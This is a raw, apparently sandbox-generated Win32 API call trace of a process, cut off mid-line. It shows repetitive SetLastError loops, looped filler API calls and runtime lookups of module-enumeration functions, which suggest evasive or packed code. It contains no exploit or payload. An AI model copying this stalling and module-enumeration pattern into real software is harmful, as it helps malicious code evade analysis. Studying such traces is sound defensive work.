SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.002] GetLastError () returned 0x0 [0034.002] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.003] GetLastError () returned 0x0 [0034.003] SetLastError (dwErrCode=0x0) [0034.006] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.007] SetLastError (dwErrCode=0x0) [0034.007] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.008] SetLastError (dwErrCode=0x0) [0034.008] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.009] SetLastError (dwErrCode=0x0) [0034.009] GetLastError () returned 0x0 [0034.010] SetLastError (dwErrCode=0x0) [0034.010] GetLastError () returned 0x0 [0034.010] SetLastError (dwErrCode=0x0) [0034.010] GetLastError () returned 0x0 [0034.010] SetLastError (dwErrCode=0x0) [0034.010] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.011] SetLastError (dwErrCode=0x0) [0034.011] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.012] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.012] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.012] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.012] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.012] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0034.014] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.014] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.014] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.014] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.014] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.015] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0034.015] GetProcAddress (hModule=0x75a20000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a5735f [0034.015] GetProcAddress (hModule=0x75a20000, lpProcName="Module32First") returned 0x75ab5cd9 [0034.015] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.015] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.015] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.015] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.015] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.015] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.015] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.015] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.015] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.015] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.015] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.015] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.015] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.015] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.015] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.015] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.015] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.016] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.016] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.016] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.016] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.016] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.016] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.016] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.016] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.016] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.017] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.017] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.017] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.017] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.017] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.017] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.017] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.017] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.017] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.017] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.017] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.017] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.017] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.017] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.017] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.017] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.017] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.017] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.017] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.017] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.017] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.017] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.017] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.017] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.017] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.018] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.018] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.018] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.018] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.018] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.018] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.018] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.018] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.018] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.018] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.018] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.018] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.018] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.018] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.018] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.018] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.018] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.018] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.018] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.018] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.018] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.018] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.018] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.018] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.018] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.019] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.019] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.019] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.019] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.019] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.019] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.019] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.019] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.019] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.019] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.019] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.019] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.019] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.019] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.019] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.019] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.019] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.019] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.019] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.019] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.019] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.019] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.019] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.019] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.020] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.020] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.020] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.020] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.020] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.020] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.020] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.020] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.020] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.020] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.020] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.020] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.020] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.020] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.020] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.020] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.020] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.020] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, 